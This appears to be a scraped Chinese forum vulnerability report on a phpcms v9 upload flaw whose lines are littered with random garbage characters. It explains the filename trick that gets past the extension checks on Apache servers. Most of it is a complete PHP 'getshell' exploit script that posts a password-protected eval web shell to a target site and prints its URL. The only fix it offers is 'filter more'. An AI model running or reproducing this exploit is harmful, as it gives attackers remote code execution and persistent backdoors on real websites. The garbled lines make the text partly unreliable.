漏洞类型: 文件上传导致任意代码执行& F4 I+ ` ?: j6 k7 O3 J0 H
: W* k# g& \6 l; z
简要描述:8 a9 g" S; N. X, j& E+ K
: \1 B: K7 R e3 |4 W, e
phpcms v9 getshell (apache)
$ T* s- K" ] H: q8 V) D9 O详细说明:" g! l' S8 S0 }# d
0 q) f8 W3 l# h- ~4 Z* X漏洞文件:phpcms\modules\attachment\attachments.php
8 p9 w! t+ C$ p& N2 i$ L6 D6 h8 z2 ~2 _" y" o
public function crop_upload() { (isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $pic = $GLOBALS["HTTP_RAW_POST_DATA"]; if (isset($_GET['width']) && !empty($_GET['width'])) { $width = intval($_GET['width']); } if (isset($_GET['height']) && !empty($_GET['height'])) { $height = intval($_GET['height']); } if (isset($_GET['file']) && !empty($_GET['file'])) { $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) { $file = $_GET['file']; $basenamebasename = basename($file);//获取带有后缀的文件名 if (strpos($basename, 'thumb_')!==false) { $file_arr = explode('_', $basename); $basename = array_pop($file_arr); } $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename; } else { pc_base::load_sys_class('attachment','',0); $module = trim($_GET['module']); $catid = intval($_GET['catid']); $siteid = $this->get_siteid(); $attachment = new attachment($module, $catid, $siteid); $uploadedfile['filename'] = basename($_GET['file']); $uploadedfile['fileext'] = fileext($_GET['file']); if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) { $uploadedfile['isimage'] = 1; } $file_path = $this->upload_path.date('Y/md/'); pc_base::load_sys_func('dir'); dir_create($file_path); $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext']; $uploadedfile['filepath'] = date('Y/md/').$new_file; $aid = $attachment->add($uploadedfile); } $filepath = date('Y/md/'); file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控 } else { return false; } echo pc_base::load_config('system', 'upload_url').$filepath.$new_file; exit; } } - J& M* F7 ]. u* H9 ]
后缀检测:phpcms\modules\attachment\functions\global.func.php* I7 j! ?: K5 A. x
9 ^- F7 }; R d: Z3 S/ a
( J6 _7 d4 c- X4 f
' z3 ?/ V. n2 d2 @4 ^' Sfunction is_image($file) { $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff'); $ext = fileext($file);关键地方 return in_array($ext,$ext_arr) ? $ext_arr :false; }
/ g& M8 ~/ G" @7 b! ?/ j c+ V# D# G: V
关键函数:8 l; D9 k/ i3 g; B1 S1 t, \4 L9 t
$ @' x% Y+ |' F1 ^; K
$ e% f+ B& H% v+ ]! {8 P
" C: H- L/ _- T$ v5 Z
function fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }
! w! y/ t Q* ^) A, a, \" f: |
$ n! W( p' w! Z2 Y; { Fileext函数是对文件后缀名的提取。
( G- E, y u* F根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php5 I$ y* U, U/ d9 N$ V$ T
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
; z9 Y4 n. i/ o d我们回到public function crop_upload() 函数中
) X* O$ Q+ m; f% i/ Iif(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
) C5 f" D6 S- T% @$ Y在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数) G8 V+ Y# l! }4 ]' E
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
; d- [3 ^+ A" Z经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。/ @6 b1 _! r3 s, p3 O) F
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。8 u6 c! ~, N% f3 b7 _- u
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
- u! b" J- R; K漏洞证明:
* L& \1 w, t/ ^2 B: g. T C1 p! g! H2 r- T% w. v& ?9 V$ m4 d! E$ S
exp:0 o! d R: M+ v' T- q8 ?1 e
! e+ k/ J- c3 W! r \3 C: s
<?php+ X. g+ l, g7 X) {
error_reporting(E_ERROR);& V$ F$ C i) y& t$ }; s
set_time_limit(0);4 h+ d) i6 W, R1 A: }: S6 a2 ~
$pass="ln";
7 q( }( @9 w( G3 p& I* {: E0 y. [print_r('
5 ]; X8 a2 j c) B+---------------------------------------------------------------------------+: {7 U. V7 U$ A9 U( `& T1 c
PHPCms V9 GETSHELL 0DAY ) d1 P% l: i3 [% j
code by L.N.6 V9 c; p9 c, m: }
0 _7 R5 u1 ?% Z
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net/ U6 `" c) A I3 P1 d
+---------------------------------------------------------------------------+
: f L/ @2 S# R! [! M');7 x, p! C9 ?1 c% t( U, v- q8 M, W" P
if ($argc < 2) {
0 Z, l5 v+ }9 L8 V! rprint_r('
1 J- K* Y `( g$ K5 e" `8 S8 l2 Q+---------------------------------------------------------------------------+
0 w6 M' r2 J, h6 x8 [% D2 `! Z) gUsage: php '.$argv[0].' url path
( u: U( d) o4 _5 D! n6 J
+ I) G. o n" w: i* XExample:
5 m) l( a: ?. `! Q- E P' M3 u4 {, n1.php '.$argv[0].' lanu.sinaapp.com
`% p0 ] Z+ h1 l4 Q2.php '.$argv[0].' lanu.sinaapp.com /phpcms
, \( }& y/ Q* `" U1 D, [+---------------------------------------------------------------------------+
* C( Q& u. |" ^- U');
* g0 s# F( F( A4 X+ J$ c( ~7 dexit;/ V, f7 f$ W- Q5 u. R
}6 c$ X4 h# m) Y) @5 B u( h0 t
& F( K4 `$ q8 s4 x# Z- ?3 m! J$url = $argv[1];
$ n+ g/ u b- X1 X5 \, N) s$path = $argv[2];& S4 }$ W- t6 p" E
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
" r# t! o: I! }( x X* z$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';! V9 @4 ]' ~$ v7 i# w! o
if($ret=Create_dir($url,$path))/ \% j; T$ t% ?, _
{, F6 j6 C8 J6 t7 Q7 i) Z
//echo $ret;
, d( Y9 f' L" f: n$pattern = "|Server:[^,]+?|U";
) z- K: p& E' ? R% Vpreg_match_all($pattern, $ret, $matches);
" f# T+ c2 }( i. tif($matches[0][0])+ H0 Y7 E& H# g5 n3 V- W) G% C; A5 W
{
% j) c6 {; J0 G8 |9 V. Iif(strpos($matches[0][0],'Apache') == false). T2 A3 [0 u7 r- _6 p5 i# ?
{
) o6 y' ^+ D/ j$ w+ I, pecho "\n亲!此网站不是apache的网站。\n";exit;
/ x( v1 i1 P; `, ]2 K}
8 F; G' R$ H! m}
" D* X, j' `) s2 M ?2 _$ret = GetShell($url,$phpshell,$path,$file);
8 o- j& Y9 o9 V* [, M3 Y9 r7 d$pattern = "|http:\/\/[^,]+?\.,?|U";+ E T" T" W6 x2 R- g1 ~
preg_match_all($pattern, $ret, $matches); V+ K. C! {0 T5 R3 E
if($matches[0][0])4 p; J3 ?6 Q6 g3 A" q: R& h: y
{6 a$ Y9 i3 M& S2 F% n2 E
echo "\n".'密码为: '.$pass."\n";
1 v# {- X" x2 secho "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
. o: [, o5 e6 h; k' {4 @/ m/ M}
3 k; @# y* r0 r6 |! W+ P6 ?else
* [6 W& \( ? O3 y# w5 b{5 B- A" ~2 u1 e
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";. Z6 }) M7 A( F. G. U
preg_match_all($pattern, $ret, $matches);
" ~# I, V) @$ |# J# Z* _( J/ p$ ]! Xif($matches[0][0])( S) B8 o" {: T) l
{
2 j+ z6 u4 u- R5 c! h- pecho "\n".'密码为: '.$pass."\n";
: B6 w! `9 i. b, [* zecho "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;$ F8 k0 j$ Q( J& d. q0 J
}
4 ^# T& ^; `' E6 X, {' Velse
" X# N$ v. C5 N# R9 v{
0 D* L% v/ h# B8 wecho "\r\n没得到!\n";exit;. U5 ~8 O1 K# H. y% C/ a
}
: s, \1 t$ z1 J. ~}
5 A5 P; F; T4 x8 m}4 n, Y; {: w7 s' y. L
4 G5 V# I# _; e2 T8 q2 {
function GetShell($url,$shell,$path,$js)
, t+ A0 H2 c9 x/ ~7 u; o8 G* @, D* i{
S# @7 t2 g1 W* B! B$content =$shell;9 R- E% w# M$ y U. Z5 i
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";; S: M" | t1 G. D- U
$data .= "Host: ".$url."\r\n";
0 L7 R4 B# v5 Y0 |( a; C$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";6 v1 W; P( ^5 E9 I! f1 g1 l; k
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";0 S- [# B9 M) q. l
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";$ ^) z9 o2 N) o2 s3 f8 R
$data .= "Connection: close\r\n";
9 G- f* E, `- a( e! j' x$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
" d# e+ P f# S c( V& c h+ }5 h1 a$data .= $content."\r\n";/ R5 D; n `3 F9 k) i7 f* n& M! h
$ock=fsockopen($url,80);4 t; z% l) m/ H
if (!$ock)
& H& E: |, u3 e6 P8 J{/ x, ~/ |( I& O, c
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;+ C% L0 j* p- p$ k
}1 U+ C% K, j$ H- a
else
1 X) r8 R* O8 \" D1 d0 o$ r{
; k9 b" Q& W6 w" Qfwrite($ock,$data);
: ]# x" u) [0 n' t% C7 u& A$resp = '';8 d+ G) U+ ~: I# {% m* `3 e+ K
while (!feof($ock))' d( l8 v/ v3 k
{
7 T) C6 Y# Y& h4 Q! C: |/ s5 J$resp.=fread($ock, 1024);
6 i0 ^( } _% b% `" b$ ]! Y; e+ k}
: ^+ ?. s& y6 s- K: k2 ?: xreturn $resp;
# F2 W, @) J0 [7 M3 r# h+ S, U |}
$ b; i* M- X7 R# x/ {" ^}
3 V d- e f4 k$ _; j( @! c( C
% q- m% S3 O4 @; kfunction Create_dir($url,$path='')+ X) a$ q* O* o0 P1 n5 d2 _/ y
{
, L# V: r$ ?' U( u* L# _6 P$content ='I love you';- U9 ]3 m% J/ t; H
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";5 k, N- {" n3 o9 k8 a7 m3 H5 \
$data .= "Host: ".$url."\r\n";
8 D4 a% K9 t# P: w" Y$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
' O5 e; m/ P6 |! d- c$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
0 Q1 P: k Y+ n4 H$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
1 {- f7 t! X v* e1 ]$data .= "Connection: close\r\n";$ P1 Q g! k# K$ T
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
8 g3 S' ^& N H- g$data .= $content."\r\n";
# w+ c2 e8 s$ L5 m6 |4 r7 t, @$ock=fsockopen($url,80);* \+ e: i7 q6 C/ Z3 i7 }2 f. F5 @
if (!$ock)
& u) ^6 [* j$ Q5 j6 ~9 E/ y( S% L/ n{
- O7 [+ A3 n; y! g9 wecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
1 S% ~, g- x+ c$ @}! _, _) }' c- m
fwrite($ock,$data);$ A/ L$ d9 W! {. q8 w- J8 d
$resp = '';; k5 ~" O- O6 h+ p% e- a. d& `8 X0 u
while (!feof($ock))
2 c* Q, S3 X& l) O) q! X' [2 B{
# p9 U) e0 p0 Z, W9 B" D' G$resp.=fread($ock, 1024);, J+ \! x; P: h
}% J5 ~+ b9 _+ S$ c) v
return $resp;
' L( f( w4 x% G* F}
& ~- s2 ^) A& t% r6 }?> ( x) D8 M: ~& r3 W! ]- M! {5 v0 `
7 p( ~! t7 M$ o' @2 v, j修复方案:5 d# L- T, b2 B7 q+ e9 X0 O: ]
% n, J( H+ J) z9 ?8 b3 i$ O过滤过滤再过滤. x" m' `9 a6 A2 F2 i; H
, {6 u6 v3 x1 U+ l1 |. R c* e
|